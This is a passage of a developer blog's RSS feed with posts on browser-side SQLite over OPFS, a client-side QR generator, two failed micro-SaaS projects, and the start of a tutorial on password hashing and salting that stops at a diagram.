participant OPFS as OPFS Storage&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Note over Main, Bridge: Asynchronous RPC Call
Main-&amp;gt;&amp;gt;Bridge: call &quot;getUsers()&quot;

Note over Bridge, Worker: MessageChannel (postMessage)
Bridge-&amp;gt;&amp;gt;Worker: Request Data Packet

Note right of Worker: Inside the Sealed Room
Worker-&amp;gt;&amp;gt;SQL: Execute Query
SQL-&amp;gt;&amp;gt;OPFS: Read/Write Blocks
OPFS--&amp;gt;&amp;gt;SQL: Return Data
SQL--&amp;gt;&amp;gt;Worker: Result Set

Worker--&amp;gt;&amp;gt;Bridge: Transfer Result
Bridge--&amp;gt;&amp;gt;Main: Resolve Promise (Data)`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;p&gt;By doing this, the UI stays running at 60FPS, no matter how hard the database is working.&lt;/p&gt;
&lt;h2&gt;3. The Implementation Step-by-Step&lt;/h2&gt;
&lt;p&gt;Let&apos;s look at the actual code to make this happen.&lt;/p&gt;
&lt;h3&gt;Step 1: The Engine Room (&lt;code&gt;worker.ts&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Inside the worker, we initialize the official &lt;code&gt;@sqlite.org/sqlite-wasm&lt;/code&gt; package. We instantiate an &lt;code&gt;OpfsDb&lt;/code&gt;, which automatically wires SQLite up to the browser&apos;s high-performance file system.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import sqlite3InitModule from &quot;@sqlite.org/sqlite-wasm&quot;;

let db: any;

export async function initDb() {
  if (db) return;

  const sqlite3 = await sqlite3InitModule();

  // The magic happens here: utilizing OPFS for persistence
  if (sqlite3.opfs) {
    db = new sqlite3.oo1.OpfsDb(&quot;/my-database.sqlite3&quot;);
    console.log(&quot;OPFS is available, created persistent database.&quot;);
  } else {
    db = new sqlite3.oo1.DB(&quot;/my-database.sqlite3&quot;, &quot;ct&quot;);
    console.warn(&quot;OPFS is not available, created transient database.&quot;);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This simple setup means that even if the user refreshes the page or closes the browser, the data survives.&lt;/p&gt;
&lt;h3&gt;Step 2: The Bridge with Comlink&lt;/h3&gt;
&lt;p&gt;Web Workers communicate via &lt;code&gt;postMessage&lt;/code&gt;, which can quickly turn into a messy, unmaintainable string of event listeners. We don&apos;t want that.&lt;/p&gt;
&lt;p&gt;Instead, I use &lt;strong&gt;Comlink&lt;/strong&gt; by Google Chrome Labs. Comlink creates an RPC (Remote Procedure Call) bridge. It takes the functions defined in our worker and magically exposes them to the main thread as standard asynchronous functions.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// src/db.ts
import * as Comlink from &quot;comlink&quot;;
import type { DbWorker } from &quot;./worker&quot;;

// Instantiate the worker
const worker = new Worker(new URL(&quot;./worker.ts&quot;, import.meta.url), {
  type: &quot;module&quot;,
});

// Wrap it with Comlink to get a typed, async API
export const dbWorker = Comlink.wrap&amp;lt;DbWorker&amp;gt;(worker);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, in our UI code, querying the database is as simple as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;await dbWorker.exec(
  &quot;CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, name TEXT)&quot;,
);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Step 3: The Security Bouncer (COOP/COEP)&lt;/h3&gt;
&lt;p&gt;Here is where most developers get stuck. For the SQLite WASM module to achieve maximum performance with OPFS, it requires a feature called &lt;code&gt;SharedArrayBuffer&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Browsers heavily restrict &lt;code&gt;SharedArrayBuffer&lt;/code&gt; due to security vulnerabilities like Spectre. To unlock it, your site must be served in a &lt;strong&gt;cross-origin isolated context&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;You achieve this by enforcing strict HTTP headers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Cross-Origin-Opener-Policy: same-origin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Cross-Origin-Embedder-Policy: require-corp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are using Vite for development, you simply add these to your &lt;code&gt;vite.config.ts&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// vite.config.ts
export default defineConfig({
  server: {
    headers: {
      &quot;Cross-Origin-Opener-Policy&quot;: &quot;same-origin&quot;,
      &quot;Cross-Origin-Embedder-Policy&quot;: &quot;require-corp&quot;,
    },
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;The Pitfall:&lt;/strong&gt; What about production? If you deploy to a static host like Cloudflare Pages or GitHub Pages, you might not have the ability to set custom server headers easily.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Solution:&lt;/strong&gt; In my boilerplate, I included a fallback called &lt;code&gt;coi-serviceworker.js&lt;/code&gt;. This is a tiny Service Worker that intercepts browser requests and dynamically injects the required COOP/COEP headers on the fly. It’s a lifesaver for static hosting.&lt;/p&gt;
&lt;h2&gt;4. Why This Matters&lt;/h2&gt;
&lt;p&gt;Approaching architecture with &lt;em&gt;calma e feroce dignità&lt;/em&gt; (calm and fierce dignity) means rejecting unnecessary complexity.&lt;/p&gt;
&lt;p&gt;By pushing the database to the edge—literally into the user&apos;s browser—we achieve several things:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Zero Cloud Costs:&lt;/strong&gt; No RDS, no connection pooling, no scaling headaches.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Total Privacy:&lt;/strong&gt; The user&apos;s data never leaves their device.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Offline First:&lt;/strong&gt; The app works flawlessly on an airplane or a subway.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This isn&apos;t just a fun experiment; it&apos;s a practical blueprint for building local-first applications. Whether you are building a habit tracker, a markdown editor, or a complex AI workflow tool, having a fully relational SQL database in the client empowers you to ship an MVP in days, not months.&lt;/p&gt;
&lt;p&gt;Stop editing connection strings. Start building.&lt;/p&gt;
&lt;p&gt;What do you think? Have you experimented with OPFS and WASM yet? Share your thoughts below or reach out on X.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;If you want to use this architecture, you can grab the full, MIT-licensed boilerplate from my repository.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;RepoCard
title=&quot;sqlite-in-browser&quot;
description=&quot;A practical guide and boilerplate for running SQLite in the browser with OPFS and Web Workers.&quot;
href=&quot;https://github.com/didof/sqlite-in-browser&quot;
demoHref=&quot;https://didof.github.io/sqlite-in-browser/&quot;
languages={[
{ name: &quot;TypeScript&quot;, percentage: 38.0 },
{ name: &quot;CSS&quot;, percentage: 35.3 },
{ name: &quot;HTML&quot;, percentage: 15.5 },
{ name: &quot;JavaScript&quot;, percentage: 11.2 },
]}
/&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>LinkPreview AI: The Privacy-First, Client-Side QR Code Generator</title><link>https://didof.dev/blog/secure-qr-code-generator-privacy-first/</link><guid isPermaLink="true">https://didof.dev/blog/secure-qr-code-generator-privacy-first/</guid><description>Most QR code generators track you. LinkPreview AI enables zero-knowledge, client-side QR generation with no database. Here is how it works.</description><pubDate>Tue, 20 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We live in a world where &quot;free&quot; usually means &quot;you are the product.&quot; This is especially true for QR code generators.&lt;/p&gt;
&lt;p&gt;If you search for &quot;QR code generator,&quot; the top results are almost exclusively services that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Track every scan&lt;/strong&gt;: They know when, where, and with what device your code was scanned.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Hold your data hostage&lt;/strong&gt;: They use &quot;Dynamic QR Codes&quot; that redirect through their servers. If you stop paying, the link dies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sell your data&lt;/strong&gt;: Your scan analytics are a commodity.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I built &lt;strong&gt;&lt;a href=&quot;https://linkpreview.ai&quot;&gt;LinkPreview AI&lt;/a&gt;&lt;/strong&gt; (also known as QR Safe) to be the antidote. It is a &lt;strong&gt;Zero-Knowledge, Client-Side only&lt;/strong&gt; QR generator.&lt;/p&gt;
&lt;h2&gt;The &quot;URL is the Database&quot; Architecture&lt;/h2&gt;
&lt;p&gt;The core philosophy of LinkPreview AI is that &lt;strong&gt;I should not store your data&lt;/strong&gt;. In fact, the architecture is designed so that I &lt;em&gt;cannot&lt;/em&gt; see your data even if I wanted to.&lt;/p&gt;
&lt;h3&gt;No Server-Side Database&lt;/h3&gt;
&lt;p&gt;Most services store your content (e.g., your vCard, WiFi password, or text) in a database row associated with a unique ID (e.g., &lt;code&gt;bit.ly/xyz&lt;/code&gt;). When someone scans the code, the server looks up &lt;code&gt;xyz&lt;/code&gt; and redirects them.&lt;/p&gt;
&lt;p&gt;LinkPreview AI does not have a database.&lt;/p&gt;
&lt;p&gt;Instead, it compresses your data using &lt;code&gt;zlib&lt;/code&gt; (pako), optionally encrypts it with &lt;strong&gt;AES-256&lt;/strong&gt;, and encodes the entire payload directly into the URL parameters.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The URL itself is the database.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;When you generate a QR code for a secured note, the resulting QR code contains a URL like:
&lt;code&gt;https://linkpreview.ai/qr#&amp;lt;compressed_encrypted_payload&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;When a user scans this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Their browser loads the static reader page.&lt;/li&gt;
&lt;li&gt;The JavaScript in &lt;em&gt;their&lt;/em&gt; browser reads the URL fragment (&lt;code&gt;#...&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;It locally decrypts and decompresses the payload.&lt;/li&gt;
&lt;li&gt;It renders the content using &lt;strong&gt;DOMPurify&lt;/strong&gt; to prevent XSS.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;At no point does the unencrypted data touch a server.&lt;/p&gt;
&lt;h2&gt;Features at a Glance&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;100% Client-Side&lt;/strong&gt;: Generation and reading happen in your browser.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Zero-Knowledge Encryption&lt;/strong&gt;: Use a password to encrypt your data. The password never leaves your device.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permanent Links&lt;/strong&gt;: Since there is no database entry to &quot;expire,&quot; your QR codes will work forever (as long as the mathematically deterministic decoding logic exists).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rich Templates&lt;/strong&gt;:
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Medical (ICE)&lt;/strong&gt;: Store blood type, allergies, and emergency contacts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Luggage &amp;amp; Property&lt;/strong&gt;: Allow finders to contact you without revealing your home address.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;vCard&lt;/strong&gt;: Share contact info without a subscription.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Wi-Fi&lt;/strong&gt;: Share credentials securely.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Why Client-Side Matters for SEO and Privacy&lt;/h2&gt;
&lt;p&gt;For developers and businesses, using a client-side generator isn&apos;t just about privacy—it&apos;s about &lt;strong&gt;longevity&lt;/strong&gt; and &lt;strong&gt;control&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;With server-side dynamic codes, you are renting access to your own data. With LinkPreview AI, you own the link. Because the data is in the URL, you can generate a code today, print it on 10,000 flyers, and be confident that it will still scan 10 years from now, regardless of whether a startup pivots or changes its pricing model.&lt;/p&gt;
&lt;h2&gt;Try It Out&lt;/h2&gt;
&lt;p&gt;The tool is completely free to use. No sign-ups, no tracking, no database.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://linkpreview.ai&quot;&gt;&lt;strong&gt;Generate a Secure QR Code&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>isemailok.com: The Silent API</title><link>https://didof.dev/blog/isemailok-post-mortem/</link><guid isPermaLink="true">https://didof.dev/blog/isemailok-post-mortem/</guid><description>A story of a perfectly working Redis-backed micro-SaaS that died in silence. Why building isn&apos;t enough.</description><pubDate>Sat, 17 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After the story of EasyPageGo, here is another tale from my graveyard of micro-SaaS projects. This one is called &lt;strong&gt;isemailok.com&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;The Problem with Temporary Emails&lt;/h2&gt;
&lt;p&gt;We all know them. You want to try a service, but you don&apos;t want to give them your real email address. So you Google &quot;temp mail&quot;, grab a disposable address, and sign up.&lt;/p&gt;
&lt;p&gt;For developers and SaaS founders, these are a nightmare.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You can&apos;t contact the user effectively.&lt;/li&gt;
&lt;li&gt;They skew your analytics.&lt;/li&gt;
&lt;li&gt;They are rarely &quot;real&quot; users with intent to pay or engage long-term.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I wanted to solve this. I thought, &quot;Devs don&apos;t want these emails in their databases.&quot;&lt;/p&gt;
&lt;h2&gt;The Cat and Mouse Game&lt;/h2&gt;
&lt;p&gt;The problem is that temporary email services are smart. They don&apos;t just use one domain; they rotate them constantly to avoid simple blacklists.&lt;/p&gt;
&lt;p&gt;So, I built a system to watch them.&lt;/p&gt;
&lt;h2&gt;The Solution: A Redis Watchtower&lt;/h2&gt;
&lt;p&gt;I crafted a backend system that would continuously monitor these temporary email generators. As soon as they spun up a new domain, my system would catch it and insert it into a &lt;strong&gt;Redis database&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;The product itself was an API. Other developers could call my service during their user signup process:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;GET /check?email=user@shady-temp-mail.com&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And my service would instantly respond, telling them if the email domain was known to be disposable, purely by checking against my real-time Redis list.&lt;/p&gt;
&lt;h2&gt;The Implementation&lt;/h2&gt;
&lt;p&gt;Implementation-wise, it was a joy. It was fast, efficient, and technically sound. I loved the architecture—a set of watchers feeding a high-performance data store, serving a lightning-fast API. It did exactly what it promised, and it did it well.&lt;/p&gt;
&lt;p&gt;I was proud of the code.&lt;/p&gt;
&lt;h2&gt;The Silence&lt;/h2&gt;
&lt;p&gt;But here is where the story ends.&lt;/p&gt;
&lt;p&gt;I never advertised it.
I never spoke about it to people.
I never launched on Product Hunt.
I never wrote content about it (until now).&lt;/p&gt;
&lt;p&gt;I built a tool that solved a real problem, but I treated it like a secret.&lt;/p&gt;
&lt;h2&gt;The Lesson&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;isemailok.com&lt;/strong&gt; is a perfect example of the &quot;Field of Dreams&quot; fallacy: &quot;If you build it, they will come.&quot;&lt;/p&gt;
&lt;p&gt;They didn&apos;t come, because they didn&apos;t know it existed.&lt;/p&gt;
&lt;p&gt;Unlike EasyPageGo, which failed because of over-engineering and market misreading, &lt;code&gt;isemailok&lt;/code&gt; failed simply because of &lt;strong&gt;silence&lt;/strong&gt;. It was a valid product that died in the dark.&lt;/p&gt;
&lt;p&gt;The lesson? You can build the fastest API in the world, appearing in Redis in milliseconds, but if you don&apos;t tell the world about it, it might as well not exist.&lt;/p&gt;
</content:encoded></item><item><title>EasyPageGo: The Rube Goldberg Website Builder</title><link>https://didof.dev/blog/easypagego-the-rube-goldberg-machine/</link><guid isPermaLink="true">https://didof.dev/blog/easypagego-the-rube-goldberg-machine/</guid><description>How I engineered a Docker-based website builder that solved a problem no one had. A post-mortem of over-engineering, market misreading, and the pre-ChatGPT struggle.</description><pubDate>Fri, 16 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;It was late 2022. The world was on the brink of the ChatGPT revolution, but we didn&apos;t know it yet. I was a developer with a burning desire to ship a SaaS, and I decided to tackle a problem that felt massive: &lt;strong&gt;website building&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;My idea? &lt;strong&gt;EasyPageGo&lt;/strong&gt;. Imagine Notion, but for building full websites.&lt;/p&gt;
&lt;h2&gt;The &quot;Simple&quot; Idea&lt;/h2&gt;
&lt;p&gt;The concept was straightforward: a user logs into a dashboard, drags some blocks around, and clicks &quot;Publish&quot;.&lt;/p&gt;
&lt;p&gt;But beneath that simple &quot;Publish&quot; button lay a monster of complexity. I didn&apos;t just want to host static HTML. I wanted to give users the power of a modern web framework. So, I architected a solution that, in hindsight, was a beautiful Rube Goldberg machine.&lt;/p&gt;
&lt;h2&gt;The Architecture of Madness&lt;/h2&gt;
&lt;p&gt;Here is how it worked:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The Dashboard&lt;/strong&gt;: The user defined their site structure. This generated a massive JSON object describing every page, component, and style.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Trigger&lt;/strong&gt;: When they clicked &quot;Publish&quot;, this JSON was sent to my VPS.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Builder&lt;/strong&gt;: I had a custom Docker image ready. This container would spin up, receive the JSON, and inject it into a &lt;strong&gt;SvelteKit template&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Build&lt;/strong&gt;: Inside the container, a script would run &lt;code&gt;npm run build&lt;/code&gt;. SvelteKit would churn out a static site.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Delivery&lt;/strong&gt;: The container would zip up the build folder.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Email&lt;/strong&gt;: Finally, the system would email the zip file to the user.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Yes. I was spinning up a Docker container for every single user edit, building a production app, and emailing zips.&lt;/p&gt;
&lt;h2&gt;Why It Failed&lt;/h2&gt;
&lt;p&gt;I knew it was doomed a few weeks in, but I kept pushing. Why?&lt;/p&gt;
&lt;h3&gt;1. The Technical Challenge&lt;/h3&gt;
&lt;p&gt;The difficulty was enormous. I had to master VPS management, Docker orchestration, and automated build pipelines. It was a fantastic learning ground. I refined my database knowledge and learned how to manage resources when ten containers spin up simultaneously.&lt;/p&gt;
&lt;h3&gt;2. The Market &quot;Titans&quot;&lt;/h3&gt;
&lt;p&gt;I was entering a space dominated by WordPress, Wix, Squarespace, and Webflow. These weren&apos;t just competitors; they were ecosystems. I was a guy with a Docker script.&lt;/p&gt;
&lt;h3&gt;3. The Pre-AI Era&lt;/h3&gt;
&lt;p&gt;This was just before AI made code generation trivial. I was trying to manually build a logic engine that AI can now generate in seconds. I was solving yesterday&apos;s problem with tomorrow&apos;s complexity.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./square.png&quot; alt=&quot;Over Engineered Rube Goldberg Machine&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;The Lesson&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;&quot;Solved a problem no one had with complex tech.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;EasyPageGo taught me that technical prowess doesn&apos;t equal product value. Users didn&apos;t care that I was using SvelteKit or Docker. They just wanted a website.&lt;/p&gt;
&lt;p&gt;I learned to respect the &quot;boring&quot; path. I learned that distribution matters more than the build pipeline. And most importantly, I learned to recognize when I&apos;m building a feature for the user, and when I&apos;m building a challenge for myself.&lt;/p&gt;
&lt;p&gt;EasyPageGo is dead, but the lessons and the shell scripts remain.&lt;/p&gt;
</content:encoded></item><item><title>The Evolution of Password Security: From Basic Storage to Argon2</title><link>https://didof.dev/blog/password-authentication-evolution-security/</link><guid isPermaLink="true">https://didof.dev/blog/password-authentication-evolution-security/</guid><description>A level-by-level journey into password security. Discover why a simple hash isn&apos;t enough and how to defend your users from hackers and data leaks, from salt and pepper to Argon2.</description><pubDate>Fri, 18 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import Mermaid from &quot;@/components/mermaid.astro&quot;
import { MagnetLinesHr } from &quot;@/components/reactbits/magnets-lines/hr&quot;&lt;/p&gt;
&lt;p&gt;Whether you write the code or some Artificial Intelligence writes it for you, it&apos;s &lt;strong&gt;fundamental&lt;/strong&gt; to have a clear understanding of the implementation. This is even more true for such a &lt;strong&gt;crucial&lt;/strong&gt; part of an application as authentication.&lt;/p&gt;
&lt;p&gt;Today, many modern authentication methods exist, such as &lt;strong&gt;OAuth&lt;/strong&gt;, &lt;strong&gt;Magic Links&lt;/strong&gt;, and &lt;strong&gt;WebAuthn&lt;/strong&gt;. These are perfectly valid and, in fact, often recommended choices. However, there are still a vast number of applications that prefer passwords, for example, custom-built management systems for businesses. The combination of email and password is, in this sense, the &quot;crocodile&quot; of authentication: it existed before other methods and will probably still be around after them.&lt;/p&gt;
&lt;p&gt;However, this doesn&apos;t mean that email and password haven&apos;t evolved over time. Like any system exposed to the environment and its threats (hackers), this pair is forced to mutate in search of solutions.&lt;/p&gt;
&lt;h2&gt;Cleartext Passwords&lt;/h2&gt;
&lt;p&gt;Let&apos;s start from the beginning, the simplest, &quot;naive&quot; solution. Imagine: you are the server, the user sees a form on the page. They enter their email and password, press submit, and that data arrives at your server. You take it and, just as it arrived, you put it into the database.&lt;/p&gt;
&lt;p&gt;When the user wants to log in, they provide you with the data again, and you check that the two passwords are the same.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Registration
registration_password = &quot;123456&quot; # &amp;lt;- Save to DB

# Login
login_password = &quot;123456&quot;

is_auth = login_password == registration_password # Yeah!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TD
subgraph Registration
A([Frontend]) -- &quot;email + password&quot; --&amp;gt; B[[Server]];
B -- &quot;set email, password&quot; --&amp;gt; C[(Database)];
end&lt;/p&gt;
&lt;p&gt;subgraph Login
D([Frontend]) -- &quot;email + password&quot; --&amp;gt; E[[Server]];
E -- find by email O(n) --&amp;gt; F[(Database)];
F -- Found --&amp;gt; G{p0 == p1?};
F -- Not found --&amp;gt; H[Redirect Registration];
G -- False --&amp;gt; I[[&quot;401 Unauthorized&quot;]]
G -- True --&amp;gt; J[[&quot;200 Welcome&quot;]]
end`} /&amp;gt;&lt;/p&gt;
&lt;p&gt;But I&apos;m saving in cleartext. Very bad. Why?&lt;/p&gt;
&lt;h3&gt;Database Leaking&lt;/h3&gt;
&lt;p&gt;Servers and databases are like castles that can be protected better and better. However, they interact with the outside world and therefore always have a &quot;loophole.&quot; Databases are &quot;leaked&quot; much more often than you might think.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If a server saves passwords in cleartext in a Database and its contents are exposed, anyone with access to the leaks can, without any obstacle, access accounts as your users.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The real disaster, however, is that people reuse passwords. Statistics show that over 50% of people use the same password for multiple services. This means that if your small site suffers a &lt;strong&gt;data leak&lt;/strong&gt;, hackers will try those same credentials (email and password) on platforms like banks, social networks, or email services... a true chain reaction disaster.&lt;/p&gt;
&lt;h2&gt;Hashing&lt;/h2&gt;
&lt;p&gt;The solution lies in not saving passwords directly in the Database, but rather their &quot;&lt;strong&gt;fingerprint&lt;/strong&gt;&quot;. A long string of pseudorandom characters, which appear random but in reality depend directly on the input (the original password).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It&apos;s important not to confuse hashing with encryption. Encryption is a reversible process: what is encrypted can be decrypted. Hashing, however, is one-way. And that&apos;s exactly what we want for passwords: a system that can verify them, but never reveal them.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These hashes are produced using cryptographic hashing functions. Such functions are &quot;one-way&quot;: it&apos;s easy and fast to calculate the hash from the password, but it&apos;s computationally impossible to reverse engineer the original password from the hash. If you&apos;re curious to intuitively understand how one of these works, you can read my &lt;a href=&quot;/blog/how-does-sha256-work-and-the-length-extension-attack&quot;&gt;interactive article on SHA256&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import hashlib

# Registration
p1 = &quot;123456&quot;
p1_hashed = hashlib.sha256(p1.encode()).hexdigest() # &quot;8d9...c92&quot; &amp;lt;- Save to DB

# Login
p2 = &quot;123456&quot;
p2_hashed = hashlib.sha256(p2.encode()).hexdigest() # &quot;8d9...c92&quot;

is_auth = p2_hashed == p1_hashed # Yeah!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the user sends you the password, you don&apos;t record it in cleartext anywhere. You pass it directly to your hashing function which, very quickly (but we&apos;ll see that this speed can be a problem), will generate the resulting fingerprint. This is saved in the database along with the email.&lt;/p&gt;
&lt;p&gt;When the user attempts to log in, you perform the same hashing operation with the provided password. The comparison will then happen on the two fingerprints.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TD
subgraph Registration
A([Frontend]) -- &quot;email + password&quot; --&amp;gt; B[[Server]];
B -- &quot;hash(password)&quot; --&amp;gt; B2(&quot;fingerprint (p0)&quot;)
B2 -- &quot;set email, fingerprint&quot; --&amp;gt; C[(Database)];
end&lt;/p&gt;
&lt;p&gt;subgraph Login
D([Frontend]) -- &quot;email + password&quot; --&amp;gt; E[[Server]];
E -- find by email O(n) --&amp;gt; F[(Database)];
F -- Found --&amp;gt; G{&quot;p0 == hash(p1)?&quot;};
F -- Not found --&amp;gt; H[Redirect Registration];
G -- False --&amp;gt; I[[&quot;401 Unauthorized&quot;]]
G -- True --&amp;gt; J[[&quot;200 Welcome&quot;]]
end`} /&amp;gt;&lt;/p&gt;
&lt;p&gt;When the hacker gains access to the Database content, they won&apos;t simply be able to go to the login page and enter the hash. The system expects the original password. If the hacker sends the hash itself, the system (which doesn&apos;t &quot;think,&quot; but simply executes) will take what is already a hash and calculate another one, which obviously will never match the one generated from the original password.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Here, the concept of a password evolves into a trinity:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The original password, in cleartext&lt;/li&gt;
&lt;li&gt;The chosen hashing algorithm (e.g., SHA-256 is actually not optimal for this purpose, explained below)&lt;/li&gt;
&lt;li&gt;Technically also the seed of the hashing function&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Alright, passwords are now protected by hashes. But is your user safe? Not yet.&lt;/p&gt;
&lt;h3&gt;Rainbow Table&lt;/h3&gt;
&lt;p&gt;The problem is that a hash function is deterministic: the same input always produces the same output. If two users use the same password &quot;password123&quot;, they will have the exact same hash in the database.&lt;/p&gt;
&lt;p&gt;Furthermore, the SHA-256 function belongs to the family of fast and efficient ones. And in this case, speed becomes a vulnerability.&lt;/p&gt;
&lt;p&gt;It is said that &quot;my cousin&quot; (or, more realistically, well-equipped attackers) used a large number of GPUs in parallel on a huge quantity of common passwords that people habitually use (like &lt;code&gt;123456&lt;/code&gt;, &lt;code&gt;password1!&lt;/code&gt;, &lt;code&gt;qwerty&lt;/code&gt;, and even more complex combinations).&lt;/p&gt;
&lt;p&gt;In offline mode, they precompute all the hashes for this massive amount of passwords. Once generated, the table no longer requires electricity consumption for lookups. The result is a gigantic lookup table, known as a &lt;strong&gt;Rainbow Table&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Now, the hacker takes the hashes from your database, chooses one, and checks the Rainbow Table to see if that hash was precomputed. If they find it (and they do so in constant time thanks to the hash map implementation), they can instantly trace back to the original input that generated that hash. An input which, of course, matches the cleartext password! Now the hacker can log in using the user&apos;s credentials!&lt;/p&gt;
&lt;p&gt;This is exactly what happened in the famous &lt;a href=&quot;https://en.wikipedia.org/wiki/2012_LinkedIn_hack&quot;&gt;2012 LinkedIn data breach&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Salt&lt;/h2&gt;
&lt;p&gt;How do you render a pre-calculated table like this useless? Simple: by ensuring that every password, even if identical to another, produces a completely different hash.&lt;/p&gt;
&lt;p&gt;The solution is called &lt;strong&gt;Salt&lt;/strong&gt;. It&apos;s a random and unique string of characters, generated for each user at the time of registration. This string is added to the password before performing the hashing.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os
import hashlib

# Registration
p1 = &quot;123456&quot;
salt1 = os.urandom(16).hex() # -&amp;gt; &apos;a4b8c7...&apos; (a random and unique salt)
p1_salted = p1 + salt1
p1_hashed = hashlib.sha256(p1_salted.encode()).hexdigest() # &amp;lt;- Save to DB p1_hashed and salt1

# Login
p_login = &quot;123456&quot;
# Retrieve salt1 from DB for this user
p_login_salted = p_login + salt1
p_login_hashed = hashlib.sha256(p_login_salted.encode()).hexdigest()

is_auth = p_login_hashed == p1_hashed # Yeah!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The process becomes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The user registers with password P.&lt;/li&gt;
&lt;li&gt;The system generates a random and unique salt S.&lt;/li&gt;
&lt;li&gt;The system calculates the hash of P + S.&lt;/li&gt;
&lt;li&gt;Both the resulting hash and the salt S used to generate it are saved in the database.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TD
subgraph Registration
A([Frontend]) -- &quot;email + password&quot; --&amp;gt; B[[Server]];
B -- &quot;hash(password + salt)&quot; --&amp;gt; B2(&quot;fingerprint (p0)&quot;)
B2 -- &quot;set email, fingerprint, salt&quot; --&amp;gt; C[(Database)];
